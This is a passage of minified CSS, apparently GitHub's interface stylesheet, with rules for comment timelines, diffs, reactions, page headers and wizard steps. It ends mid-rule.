.avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 